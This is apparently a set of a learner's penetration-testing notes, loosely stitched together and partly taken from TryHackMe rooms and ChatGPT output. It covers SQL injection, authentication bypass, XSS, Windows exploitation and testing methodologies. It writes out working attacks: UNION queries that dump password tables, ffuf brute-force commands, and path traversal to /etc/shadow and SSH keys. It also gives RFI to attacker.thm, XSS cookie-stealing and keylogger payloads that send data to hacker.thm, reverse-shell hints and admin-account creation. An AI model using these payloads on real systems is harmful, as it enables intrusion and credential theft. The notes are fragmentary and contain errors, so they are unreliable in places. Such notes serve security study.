0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = ‘staff_users’

0 UNION SELECT 1,2,group_concat(username,’:’,password SEPARATOR ‘<br>’) FROM staff_users

select * from users where username=’%username%’ and password=’%password%’ LIMIT 1;

‘ OR 1=1;–

select * from users where username=’’ and password=’’ OR 1=1;

Answers:

0 UNION SELECT 1,2,group_concat(username,’:’,password SEPARATOR ‘<br>’) FROM staff_users

referrer=admin123’ UNION SELECT SLEEP(5),2 from users where username like ‘admin’ and password like ‘4961’;

Remediation:

Prepared Statements (With Parameterized Queries):
Input Validation:
Escaping User Input:

## Tools

sqlmap: A popular tool that automates the process of detecting and exploiting SQL Injection vulnerabilities.

OWASP ZAP: A web application security scanner that can detect SQL Injection vulnerabilities and other types of vulnerabilities.

Burp Suite: A comprehensive web application security testing platform that includes features for detecting and exploiting SQL Injection vulnerabilities.

BeEF: A browser exploitation framework that can be used to test for SQL Injection vulnerabilities.

sqlninja: A tool specifically designed for exploiting SQL Injection vulnerabilities in Microsoft SQL Server.

Havij: An automated SQL Injection tool that can be used to test for vulnerabilities in web applications.

Absinthe: An automated SQL Injection tool that can be used to test for vulnerabilities in web applications.

## SQL Injection


	http://pentestmonkey.net/category/cheat-sheet/sql-injection


	https://github.com/Xyntax/CDK/wiki






            

          

      

      

    

  

    
      
          
            
  # Web Authentication Bypass


	[Background](#background)


	[Techniques]
* [Username Enumeration](#username-enumeration)
* [Bruce Forcing](#brute-forcing)
* [Logic Flaws](#logic-flaws)
* [Cookie Tampering](#cookie-tampering)
* [IDOR](#idor)
* [Path Traversal](#path-traversal)
* [Local File Inclusion (LFI)](#local-file-inclusion-lfi)
* [Remote File Inclusion (RFI)](#remote-file-inclusion-rfi)
* [Server-Side Request Forgery (SSRF)](#server-side-request-forgery-ssrf)
* [Command Injection](#command-injection)


	[Resources](#resources)




## Background

Web authentication bypass refers to the various techniques and methods used by attackers to gain unauthorized access to a website by bypassing its authentication mechanisms.

## Techniques

There are many techniques that can be used to bypass authentication in web applications including Username Enumeration, Brute Forcing, Logic Flaws, Cookie Tampering, IDOR, Path Traversal, Local File Inclusion (LFI), Remote File Inclusion (RFI), Server-Side Request Forgery (SSRF), Command Injection.

In addition to the techniques described here, other techniques include Session Hijacking, Session Fixation, XSS, SQL Injection, Password Reuse and Social Engineering.

### Username Enumeration

Username enumeration can be used with the help of the [Fuzz Faster U Fool (ffuf)](https://github.com/ffuf/ffuf) fuzzing tool.

In the following example, ffuf is used to determine if names from a password list are valid usernames, using these arguments:

`bash
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://VICTIM.COM/sign-up-form -mr "username already exists"
`


	-w: location of wordlist


	-X: request method


	-d: data to send


	-H: adds additional headers


	-u: URL to send request to


	-mr: text on page used to validate a valid username




### Brute Forcing

Once valid usernames are found, a brute force attack can be performed on the victim’s login page using ffuf.

In the following example, ffuf is used to test a list of valid unsernames against a list of potential passwords, using these arguments:

`bash
`ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://VICTIM_IP/customers/login -fc 200`
`


	-w1: wordlist of valid usernames


	-w2: wordlist of potential passwords


	-w: specifies 2 wordlists that are comma separated


	-fc: checks for HTTP status code other than 200




### Logic Flaws

A logic flaw is when the typical logical path of an application is either bypassed, circumvented, or manipulated by an attacker.

Here is an example of a flaw in a password reset form that enables an attacker to send an account reset for a valid account to an email address of the attacker’s choosing. This example uses CURL request using the -H flag to add application/x-www-form-urlencoded so the web server knows data is being submitted, the -d flag specifies that the password reset for robert should be emailed to attacker@email.com:

`bash
curl 'http://MACHINE_IP/customers/reset?email=robert@acmeitsupport.com' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@email.com'
`

### Cookie Tampering

Examining and editing the cookies set by the web server during your online session can have multiple outcomes, such as unauthenticated access, access to another user’s account, or elevated privileges. Cookie values are often hashed or encoded with ASCII or base32. A tool such as [Crackstation](https://crackstation.net/) or [CyberChef](https://gchq.github.io/CyberChef/) could be used to help crack cookie hashes.

In the following example curl is used to tamper the cookie to show the user logged in as an admin:

`bash
curl -H "Cookie: logged_in=true; admin=true" http://VICTIM_IP/cookie-test
`

### IDOR

IDOR stands for Insecure Direct Object Reference occurs when user data input to a webserver is not validated. This occurs when web servers place too much trust in objects like files, data, and documents.


	A simple IDOR example would be a site user whose profile is at the url http://victim.com/profile?=1 accesses the link http://victim.com/profile?=100 and sees another user’s information


	URLs are often encoded in base64, so IDOR vulnerabilities in based64 URLs can be identified/exploited


	URLs might also be encoded with hashed IDs, often in MD5


	Tips for exploiting IDOR include:
* Testing parameter manipulation: This involves modifying parameters in the URL or payload to access restricted resources.
* Testing for predictable resource locations: This involves attempting to guess the location of a resource by appending sequential numbers or other predictable values to the URL.
* Testing for broken access controls: This involves attempting to access resources by bypassing authentication mechanisms.
* Testing for verb tampering: This involves changing the HTTP verb (e.g., GET to POST) to access resources that are normally restricted.
* Automated vulnerability scanning: Automated vulnerability scanners can be used to identify IDOR vulnerabilities. However, it’s important to note that these tools may not always catch every vulnerability and should be used in conjunction with manual testing.
* Reviewing code: It’s important to review the code of the web application to understand how objects are referenced and accessed, which can help identify IDOR vulnerabilities.
* Keeping up-to-date with common attack vectors: Staying informed about common attack vectors and researching new techniques can help you discover new and emerging IDOR vulnerabilities.


	Tools for exploiting IDOR include:
* [OWASP Zed Attack Proxy ZAP](https://www.zaproxy.org/): A web application security scanner.
* [Burp Suite](https://portswigger.net/burp): A web application security testing platform.
* [OWASP WebScarab](https://github.com/OWASP/OWASP-WebScarab): A framework for analyzing web applications.
* [sqlmap](http://sqlmap.org/): An automated SQL injection and database takeover tool.
* [w3af](https://w3af.org/): A web application attack and audit framework.
* [Arachni](https://www.arachni-scanner.com/): A web application security scanner.
* [Vega](https://subgraph.com/vega/): A web vulnerability scanner and testing platform.
* [Base64 Decoding Tool](https://www.base64decode.org/): For decoding base64 encoded URLs.
* [Base64 Encoding Tool](https://www.base64encode.org/): For encoding information to base64 URLs.
* [Hash Cracking Tool](https://crackstation.net/): To help crack parameters that are hashed, such as user IDs.




### Path Traversal


Path Traversal, aka Directory Traversal, is a vulnerability that allows an attacker to read OS resources running an application. This vulnerability is exploited by manipulating a web app’s URL. Path traversal vulnerabilities occur when the user’s input is passed to a function such as [file_get_contents](https://www.php.net/manual/en/function.file-get-contents.php) in PHP.





	In the following path traversal example, get.php?file= is used to traverse to the OS password file: http://webapp.thm/get.php?file=../../../../etc/passwd


	A similar path traversal could be exploited against Windows by running http://webapp.thm/get.php?file=../../../../boot.ini or http://webapp.thm/get.php?file=../../../../windows/win.ini


	Here is a list of common OS files that can be tested for path traversal:




|Location                     |Description                                                                                   |
|-----------------------------|———————————————————————————————-|
|/etc/issue                 |contains a message or system identification to be printed before the login prompt.            |
|/etc/profile               |controls system-wide default variables, such as Export variables                              |
|/proc/version              |specifies the version of the Linux kernel                                                     |
|/etc/passwd                |has all registered user that has access to a system                                           |
|/etc/shadow                |contains information about the system’s users’ passwords                                      |
|/root/.bash_history        |contains the history commands for root user                                                 |
|/var/log/dmessage          |contains global system messages, including the messages that are logged during system startup |
|/var/mail/root             |all emails for root user                                                                    |
|/root/.ssh/id_rsa          |Private SSH keys for a root or any known valid user on the server                             |
|/var/log/apache2/access.log`|the accessed requests for `Apache webserver                                                  |
|C:boot.ini                |contains the boot options for computers with BIOS firmware                                    |

### Local File Inclusion (LFI)

LFT attacks against web applications follows similar concepts as path traversal. PHP functions such as include, require, include_once, and require_once often contribute to vulnerable web applications.

In the following example, the include PHP function can be used to obtain sensitive information by changing the lang input to /etc/passwd which would be equivalent to http://webapp.thm/index.php?lang=../../../../etc/passwd:

```php
<?PHP


include(“languages/”. $_GET[‘lang’]);





?>

### Remote File Inclusion (RFI)

Remote File Inclusion (RFI) is a technique to include remote files and into a vulnerable application. RFI occurs when improperly sanitizing user input, allowing an attacker to inject an external URL into include function. One requirement for RFI is that the allow_url_fopen option needs to be on.

For example, an attacker could host a php file where cmd.txt prints Hello Bros:

`php
<?PHP echo "Hello Bros"; ?>
`

Next, the attacker injects their malicious URL into a form that has no input validation so that the page executes the remote file: http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt

### Server-Side Request Forgery (SSRF)

SSRF is a vulnerability that causes the webserver to make an additional or edited HTTP request to the resource of the attacker’s choosing

There are 2 types of SSRF: regular SSRF where data is returned or blind SSRF where no data is returned to the attacker.

If working with a blind SSRF where no output is reflected back to you, you’ll need to use an external HTTP logging tool to monitor requests such as requestbin.com, your own HTTP server or Burp Suite’s Collaborator client.

The following SSRF example an API to retrieve stock status of an item is exploited to request the contents of the /admin file on the server itself:

Vulnerability:

``` HTTP
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
```

Exploit:

```HTTP
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin
```

### Command Injection

Command injection is the abuse of an application’s behavior to execute commands on the operating system, using the same privileges that the application on a device is running with. This vulnerability exists because applications often use functions in programming languages such as PHP, Python and NodeJS to pass data to and to make system calls on the machine’s operating system

Applications that use user input to populate system commands with data can often be combined in unintended behaviour. For example, the shell operators ;, & and && will combine two (or more) system commands and execute them both. Command injection attacks can be either verbose, where there is direct feedback, or bilnd, where there is no direct output.

The curl command is a great way to test for command injection. This is because you are able to use curl to deliver data to and from an application in your payload. Take this code snippet below as an example, a simple curl payload to an application is possible for command injection: curl http://vulnerable.app/process.php%3Fsearch%3DThe%20Beatles%3B%20whoami

Useful Linux Command Injection Payloads:

|Payload|Description                                                                                                      |
|---------|—————————————————————————————————————|
|`whoami` |See what user the application is running under.                                                                |
|`ls`     |List the contents of the current directory.                                                                    |
|`ping`   |This command will invoke the application to hang, useful in testing an application for blind command injection.|
|sleep  |This is another useful payload in testing an application for blind command injection.                          |
|nc     |Netcat can be used to spawn a reverse shell onto the vulnerable application.                                   |

Useful Windows Command Injection Payloads:

|`whoami` |See what user the application is running under.                                                                             |
|---------|—————————————————————————————————————————-|
|`dir`    |List the contents of the current directory.                                                                                 |
|`ping`   |This command will invoke the application to hang. This will be useful in testing an application for blind command injection.|
|`timeout`|This command will also invoke the application to hang, can also test for blind injection.                                   |


	Resources
* [Command Injection Payload List](https://github.com/payloadbox/command-injection-payload-list)
* [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
* [w3af](http://w3af.org/): An open source web application attack and audit framework that can be used to identify vulnerabilities in web applications.




## Resources


	[Pentesting Web Checklist](https://pentestbook.six2dez.com/others/web-checklist)


	[Web Pentesting Checklist](https://ressurect.gitbook.io/notes/web/web-pentesting-checklist)


	[Web Application Penetration Testing Checklist](https://alike-lantern-72d.notion.site/Web-Application-Penetration-Testing-Checklist-4792d95add7d4ffd85dd50a5f50659c6)


	[API Security Checklist](https://github.com/shieldfy/API-Security-Checklist)







            

          

      

      

    

  

    
      
          
            
  # Windows Exploits

## Windows Exploit Suggester

<https://github.com/bitsadmin/wesng>

`shell
./wes.py --update
`

`cmd
systeminfo > systeminfo.txt
`

`shell
wes.py systeminfo.txt
`

`powershell
Get-HotFix | Sort-Object InstalledOn -Descending
`
## PowerShell Windows Exploit Tools

Search DIRECTORY for files that contain STRING
`PowerShell
ls -r c:\PATH\TO\DIRECTORY -file | % {Select-String -path $_ -pattern STRING}
`
## CMD.exe Windows Exploit Tools

Configure a Windows machine as a WPA2-PSK Access Point
`CMD
netsh wlan set hostednetwork mode=allow ssid=<MYSSID> key=<MYPASSWORD> && netsh wlan start hostednetwork
`
Configure a TCP port forwarding relay from IPv4 to IPv6
`CMD
netsh interface portproxy add v4tov6 listenport=<LPORT> listenaddress=0.0.0.0 connectport=<RPORT> connectaddress=<RHOST>
`
Mount Remote Network Share
`CMD
net use X: \\IP_Address\c$
`
Add New User to Current Host
`CMD
net user <UserName> <Password> /add
`
Add User to Local Admin Group
`CMD
net localgroup Administrators <UserName> /add
`
Enumerate presence of files with SID access of User on ACLs of c:
`CMD
icacls c:\*. /findsid <UserName> /t /c /l
`

## Python

Python Web Client: download file/webpage to file
`Python
import urllib.request; urllib.request.urlretrieve("http://google.com","/google.html")
`
Python Web Server: serve up current directory on port 8000
`Python
-m http.server 8000
`

## Privilege Escalation


	[PowerUP](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp)


	[bypassuac](https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1)




## Password Tools


	pwdump


	cachedump


	lsadump


	metasploit’s psexec_psh


	load kiwi


	https://github.com/gentilkiwi/mimikatz


	[Creds_wdigest](https://www.trustedsec.com/blog/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/)






            

          

      

      

    

  

    
      
          
            
  # Wordlists

## Descrption

Collection of wordlists that can be used for cracking usernames and passwords

RockYou
proboards
LeakedSource
Github dorks
Common Crawl
dirbuster
CUPP - Common User Passwords Profiler
John the Ripper password cracking wordlists
SQLi Dumper
cewl - Custom Word List Generator.



            

          

      

      

    

  

    
      
          
            
  # Cross Site Scripting

## Description

## Techniques

## Types of XSS:
* Stored XSS
* Reflected XSS
* DOM-Based XSS

https://tryhackme.com/room/xss

Common XSS Payloads:


	Popup’s (<script>alert(“Hello World”)</script>) - Creates a Hello World message popup on a users browser.




Writing HTML (document.write) - Override the website’s HTML to add your own (essentially defacing the entire page).
* XSS Keylogger (http://www.xss-payloads.com/payloads/scripts/simplekeylogger.js.html) - You can log all keystrokes of a user, capturing their password and other sensitive information they type into the webpage.
* Port scanning (http://www.xss-payloads.com/payloads/scripts/portscanapi.js.html) - A mini local port scanner (more information on this is covered in the TryHackMe XSS room).

an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users

Proof Of Concept: <script>alert(‘XSS’);</script>
Session Stealing: <script>fetch(’https://hacker.thm/steal?cookie=’ + btoa(document.cookie));</script>
Keylogger: <script>document.onkeypress = function(e) { fetch(’https://hacker.thm/log?key=’ + btoa(e.key) );}</script>
Business Logic: <script>user.changeEmail(‘attacker@hacker.thm’);</script>

Reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any validation.

Stored XSS

the XSS payload is stored on the web application (in a database, for example) and then gets run when other users visit the site or web page

DOM Based XSS:

eval() = unsafe javascript method

Blind XSS

A popular tool for Blind XSS attacks is xsshunter

=========== SOC path ===========

https://feedly.com/i/welcome

https://thedfirreport.com/

https://app.any.run/tasks/a66178de-7596-4a05-945d-704dbf6b3b90/

punycode atacks

https://bazaar.abuse.ch/

https://malshare.com/

https://tdm.socprime.com/

Fuzzy hashing

https://ssdeep-project.github.io/ssdeep/index.html

https://attack.mitre.org/

pyramid of pain

XSS Polyglot

jaVasCript:/-/*`/`/’/”/**/(/* */onerror=alert(‘THM’) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/–!>x3csVg/<sVg/oNloAd=alert(‘THM’)//>x3e

</textarea><script>alert(‘THM’);</script>

</textarea><script>fetch(’http://10.10.183.237:9001?cookie=’ + btoa(document.cookie) );</script>

## Command Injection

Command injection is the abuse of an application’s behaviour to execute commands on the operating system, using the same privileges that the application on a device is running with

https://github.com/payloadbox/command-injection-payload-list

. For example, the shell operators ;, & and && will combine two (or more) system commands and execute them both

window.location.hostname

(<script>alert(“window.location.hostname”)</script>)

<script>alert(“window.location.hostname”)</script>

<script>alert(document.cookie)</script>

<script>document.querySelector(‘#thm-title’).textContent = ‘I am a hacker’</script>

## Resources


	https://netsec.expert/posts/xss-in-2021/


	https://chawdamrunal.medium.com/xss-cheat-sheet-e8b8261963c9


	https://portswigger.net/web-security/cross-site-scripting/cheat-sheet


	https://hackersonlineclub.com/cross-site-scripting-xss/


	https://0xhorizon.eu/cheat-sheet/xss/


	https://kipalog.com/posts/Some-XSS-payload




####### ChatGPT Stuff:

# Cross-Site Scripting (XSS)

## What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a type of security vulnerability that occurs when an attacker injects malicious code into a website. This code is executed in the context of the affected website and can potentially steal sensitive information from the users who visit the site. There are two main types of XSS: stored and reflected.

### Stored XSS

Stored XSS, also known as persistent XSS, occurs when the malicious code is stored on the target server and served to all users who visit the affected pages. The code is stored in a database or other persistent data storage mechanism and is served to users without any validation or sanitization.

### Reflected XSS

Reflected XSS, also known as non-persistent XSS, occurs when the malicious code is included in a request to the server and reflected back to the user without proper validation or sanitization. The code is not stored on the server, but rather is executed in the context of the affected website each time the page is loaded.

## XSS Tools

XSS Validator: An open-source tool that can be used to identify and validate XSS vulnerabilities.

OWASP ZAP (Zed Attack Proxy): An open-source web application security scanner that can be used to identify and mitigate XSS vulnerabilities.

Burp Suite: An integrated platform for performing security testing of web applications that can be used to identify and mitigate XSS vulnerabilities.

Arachni: An open-source web application security scanner that can be used to identify and mitigate XSS vulnerabilities.

W3af: An open-source web application security scanner that can be used to identify and mitigate XSS vulnerabilities.

XSS Auditor: An online tool built into the Google Chrome browser that can be used to detect and prevent XSS attacks.

Acunetix Online Vulnerability Scanner: An online tool that can be used to scan web applications for XSS vulnerabilities.

Qualys FreeScan: An online tool that can be used to scan web applications for XSS vulnerabilities.

Netsparker Web Application Security Scanner: An online tool that can be used to scan web applications for XSS vulnerabilities.

Veracode: An online platform that provides a range of security services, including web application security testing, that can be used to identify and mitigate XSS vulnerabilities.S

## Impact of XSS

The impact of XSS can be severe and can include:


	Stealing of sensitive information such as passwords, cookies, and other session-related data


	Redirection of the user to malicious sites


	Modification of the content of the affected website to spread malicious messages or ads


	Execution of arbitrary code on the client-side, potentially compromising the client machine




## Prevention of XSS

To prevent XSS, it is important to properly validate and sanitize user input. This can be done in a number of ways, including:


	Escaping special characters in user input, such as angle brackets (< and >) and ampersands (&)


	Stripping out all HTML and JavaScript from user input


	Implementing a Content Security Policy (CSP) that restricts the types of content that can be executed in the context of the website




It is also important to keep all software up-to-date as many XSS vulnerabilities are discovered and patched in this manner.

## Conclusion

Cross-Site Scripting (XSS) is a serious security vulnerability that can have severe consequences for both users and website owners. It is important to properly validate and sanitize user input and to keep software up-to-date in order to prevent XSS attacks.

## XSS


	[XSS] (https://labs.f-secure.com/blog/getting-real-with-xss/)






            

          

      

      

    

  

    
      
          
            
  # MITRE

The [MITRE ATT&CK framework](https://attack.mitre.org/) is a knowledge base of adversary tactics and techniques that can be used as a penetration testing guide.


	[Background](#background)


	[Steps](#steps)


	[Resources](#resources)




## Background

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is a framework developed by MITRE, a non-profit organization that provides research and development services to the U.S. government. The framework provides a comprehensive understanding of the tactics, techniques, and procedures that are used by adversaries in real-world attacks in the form of a matrix, and is designed to be a common language for describing and understanding cyber threats. Penetration testers can use the MITRE CVE framework to identify known vulnerabilities in a target’s systems and applications, and to prioritize their testing efforts based on the severity of the vulnerabilities.

## Steps

The [framework’s enterprise matrix](https://attack.mitre.org/matrices/enterprise/) is divided into several steps, which are as follows:


	[Reconnaissance](https://attack.mitre.org/tactics/TA0043/): This involves the collection of information about the target organization or individual, including network topology, security measures, and vulnerabilities.


	[Resource Development](https://attack.mitre.org/tactics/TA0042): This step involves the creation of tools, malware, and other resources that can be used during the attack.


	[Initial Access](https://attack.mitre.org/tactics/TA0001): This step involves gaining initial access to the target’s network, systems, or applications. This can be achieved through a variety of means, including exploiting vulnerabilities, using stolen credentials, or social engineering.


	[Execution](https://attack.mitre.org/tactics/TA0002): This step involves executing the primary payload of the attack, which can include malware installation, data theft, or other malicious activities.


	[Persistence](https://attack.mitre.org/tactics/TA0003): This involves establishing a foothold within the target’s environment to maintain access over an extended period.


	[Privilege Escalation](https://attack.mitre.org/tactics/TA0003): This step involves gaining elevated privileges within the target environment to gain access to sensitive data or systems.


	[Defense Evasion](https://attack.mitre.org/tactics/TA0005): This step involves using various techniques to avoid detection and evade defenses, such as anti-virus software, firewalls, and intrusion detection systems.


	[Credential Access](https://attack.mitre.org/tactics/TA0006): This step involves obtaining valid credentials that can be used to gain access to additional systems and resources within the target environment.


	[Discovery](https://attack.mitre.org/tactics/TA0007): This involves mapping out the target’s environment to identify potential targets for further exploitation.


	[Lateral Movement](https://attack.mitre.org/tactics/TA0008): This step involves moving laterally within the target environment to gain access to additional systems and resources.


	[Collection](https://attack.mitre.org/tactics/TA0009): This involves gathering data or information of interest, such as sensitive data, credentials, or system configurations.


	[Command and Control](https://attack.mitre.org/tactics/TA0011): This step involves establishing and maintaining communication with remote systems that are under the control of the attacker, which are used to issue commands and receive information.


	[Exfiltration](https://attack.mitre.org/tactics/TA0010): This involves the extraction of data or information from the target environment to a location under the control of the attacker.


	[Impact](https://attack.mitre.org/tactics/TA0010): This involves the final result or impact of the attack, which can include data theft, system compromise, or other malicious activities.




## Resources


	[ATT&CK Official Site](https://attack.mitre.org)


	[ATT&CK Matrix](https://attack.mitre.org/matrices/enterprise)


	[ATT&CK Navigator Web App](https://mitre-attack.github.io/attack-navigator)


	[ATT&CK Caldera Emulator](https://github.com/mitre/caldera)


	[ATT&CK Decider Automation](https://github.com/cisagov/decider)


	[MITRE GitHub](https://mitre.github.io)


	[MITRE Cyber Analytics Repository (CAR)](https://car.mitre.org)


	[ATT&CK ATT&CK Getting Started Guide](https://www.mitre.org/sites/default/files/2021-11/getting-started-with-attack-october-2019.pdf)


	[MITRE ATT&CK Resources](https://attack.mitre.org/resources)


	[ATT&CK Getting STarted](https://attack.mitre.org/resources/getting-started)






            

          

      

      

    

  

    
      
          
            
  # NIST

NIST [SP 800-115 Technical Guide to Information Security Testing and Assessment](https://www.nist.gov/privacy-framework/nist-sp-800-115) offers guidance on conducting security assessments from the [NIST Computer Security Resource Center](https://csrc.nist.gov/).


	[Background](#background)


	[Key Points](#key-points)


	[Resources](#resources)




## Background

NIST’s Computer Security Resource Center (CSRC) distributes NIST Special Publication 800-115 titled “Technical Guide to Information Security Testing and Assessment.” NIST SP 800-115 provides guidance on selecting and implementing security testing techniques, including penetration testing.

## Key Points


	Review Techniques: passively examine systems, applications, networks, policies, and procedures to discover security vulnerabilities using techniques such as documentation, log, ruleset, and system configuration review; network sniffing; and file integrity checking.


	Target Identification and Analysis Techniques: focuses on identifying active devices and their associated ports and services, and analyzing them for potential vulnerabilities. The identification and analysis techniques used include network discovery, network port and service identification, vulnerability scanning, and wireless scanning.


	Target Vulnerability Validation Techniques: uses information produced from target identification and analysis to further explore the existence of potential vulnerabilities using techniques such as password cracking, penetration testing, and social engineering.


	Security Assessment Planning: provides guidance on creating an assessment policy, prioritizing and scheduling assessments, selecting the appropriate assessment approach, and addressing logistical considerations.


	Security Assessment Execution: vulnerabilities are identified by the methods and techniques decided upon in the planning phase and identified in the assessment plan. The purpose of this section is to




highlight key points for assessors to consider throughout the execution phase.


	Post-Testing Activities: This section presents ways that organizations can translate their findings into actions that will improve security including through mitigation recommendations, reporting, and remediation.




## Resources


	[SP 800-115 Documentation](https://csrc.nist.gov/publications/detail/sp/800-115/final)


	[SP 800-115 Online](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf)


	[NIST Computer Security Resource Center (CRSC)](https://csrc.nist.gov/)


	[All NIST CRSC Publications](https://csrc.nist.gov/publications)






            

          

      

      

    

  

    
      
          
            
  # OWASP

The [Open Web Application Security Project (OWASP)](https://owasp.org/) provides resources, tools, and guidelines to help build and test secure applications.


	[Background](#background)


	[OWASP Top 10](#owasp-top-10)


	[Resources](#resources)




## Background

[OWASP (Open Web Application Security Project)](https://owasp.org/) is a non-profit organization that aims to improve the security of software and web applications by providing resources, tools, and best practices for developers, security professionals, and organizations. OWASP provides resources including the OWASP Top 10 and the OWASP Web Security Testing Guide.

## OWASP Top 10

The [OWASP Top 10](https://owasp.org/www-project-top-ten/) is a list of the 10 most critical web application security risks, based on widespread exploitation, prevalence, and impact. This list is updated every few years.

## OWASP Web Security Testing Guide

The [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide) is a comprehensive open source guideline that provides techniques for testing the security of web applications.

[This is the repository](https://github.com/OWASP/wstg) of the guide and [this is the latest content](https://owasp.org/www-project-web-security-testing-guide/latest/).

## Resources


	[OWASP Organization Website](https://owasp.org)


	[OWASP Top Ten](https://owasp.org/www-project-top-ten)


	[OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide)


	[OWASP Web Security Testing Guide Repository](https://github.com/OWASP/wstg)


	[Latest Version of OWASP Testing Guide Content](https://owasp.org/www-project-web-security-testing-guide/latest)


	[OWASP Vulnerable Training Website - Juice Shop](https://owasp.org/www-project-juice-shop)


	[OWASP Zed Attack Proxy Security Tool](https://owasp.org/www-project-zap/)


	[OWASP Cheat Sheets](https://cheatsheetseries.owasp.org)






            

          

      

      

    

  

    
      
          
            
  # Penetration Testing Execution Standard (PTES)

PTES is a set of guidelines and procedures for performing consistent and comprehensive penetration testing


	[Background](#background)


	[Steps](#steps)


	[Resources](#resources)




## Background

[PTES](http://www.pentest-standard.org/) was created by a group of experienced security professionals in response to the lack of a standardized approach to penetration testing. The standard has since become widely adopted and recognized as a valuable resource for organizations and security professionals alike.

## Steps


	Pre-engagement Interactions: preparation phase including approvals and tools needed for the test


	Intelligence gathering: information about the target system are gathered from external sources like social media websites, official record, using OSINT and other techniques


	Threat Modelling: procedure for optimizing network security by identifying objectives and vulnerabilities


	Vulnerability Analysis: discover and validate vulnerabilities


	Exploitation: breach the security of the target system using the vulnerabilities previously identified


	Post Exploitation: maintain control over target system and collect


	Reporting: Dodocumentcuments entire process in a form understandable to the client




## Resources


	[PTES Website](http://www.pentest-standard.org)


	[PTES Technical Guidelines](http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines)






            

          

      

      

    

  

    
      
          
            
  # Methodology

There are several methodology frameworks for penetration testing that are widely used by security professionals. Here are some of the best:


	[MITRE ATT&CK](/methodology/mitre.md)


	[NIST SP 800-115](/methodology/nist.md)


	[OWASP Testing Guide](/methodology/owasp.md)


	[Penetration Testing Execution Standard (PTES)](/methodology/ptes.md)


	[SANS Penetration Testing Framework](/methodology/sans.md)




It is important to use a methodology framework for penetration testing for several reasons:


	Structured approach: helps ensure necessary steps are taken to identify and exploit vulnerabilities


	Consistency: helps ensure consistency across different tests and testers


	Best practices: helps reduce risk of unintended consequences


	Communication: structured communication helps set expectations to ensure all are on the same page


	Compliance: many standards require penetration tests be conducted via methodology framework






            

          

      

      

    

  

    
      
          
            
  # SANS Penetration Testing Framework

The SANS Penetration Testing Framework is a structured methodology for conducting comprehensive and consistent penetration testing.


	[Background](#background)


	[Steps](#steps)


	[Resources](#resources)




## Background

The SANS Penetration Testing Framework was developed by the [SANS Institute](https://www.sans.org/), a leading provider of cybersecurity education and training. The framework was designed to provide a comprehensive and standardized approach to penetration testing that can be used by organizations of all sizes and industries. It draws upon the collective knowledge and experience of SANS instructors and practitioners in the field of cybersecurity.

## Steps

The SANS Penetration Testing Framework includes the following steps:


	Pre-engagement: Define scope, goals, and rules of engagement for the testing.


	Intelligence gathering: Gather information about the target environment to identify potential vulnerabilities.


	Threat modeling: Analyze the information gathered to identify the most likely attack vectors and potential attack scenarios.


	Vulnerability analysis: Conduct a detailed assessment of the target environment to identify potential vulnerabilities.


	Exploitation: Attempt to exploit identified vulnerabilities to gain access to target systems.


	Post-exploitation: Maintain access to the target environment and escalate privileges.


	Reporting: Document the findings of the testing process and provide recommendations for remediation.


	Cleanup: Remove any tools or artifacts left behind during the testing process and restore the environment to its original state.




## Resources


	[SANS Conducting a Penetration Test White Paper](/resources/sans-conducting-penetration-test.pdf)
* Available online here: <https://sansorg.egnyte.com/dl/CqDcmgwKE3>






            

          

      

      

    

  

    
      
          
            
  # Evasion



            

          

      

      

    

  

    
      
          
            
  # Movement

In place and remote movement

## In Place Movement

### Methods


	Token stealing


	MS14-068


	Pass the hash


	Process Injection


	runas




### In place movement Resources

https://www.indetectables.net/viewtopic.php?p=211165
https://adsecurity.org/?page_id=1821
https://github.com/bidord/pykek
https://adsecurity.org/?p=676
http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
https://github.com/n1nj4sec/pupy
http://www.powershellempire.com/?page_id=273
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1
https://github.com/FuzzySecurity/PowerShell-Suite

## Remote Movement

### Common Windows Domain Methods


	[psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec)


	WMI


	psremoting


	tasks


	GPO




### Other Remote Movement Resources

http://www.powershellempire.com/?page_id=523
https://code.google.com/archive/p/passing-the-hash/downloads
https://github.com/byt3bl33d3r/pth-toolkit
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc754599(v=ws.11)?redirectedfrom=MSDN
https://github.com/byt3bl33d3r/pth-toolkit
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
https://www.trustedsec.com/blog/no_psexec_needed/
http://www.powershellempire.com/?page_id=124
http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
https://adsecurity.org/?p=2277
https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py



            

          

      

      

    

  

    
      
          
            
  # Movement


	Also evasion






            

          

      

      

    

  

    
      
          
            
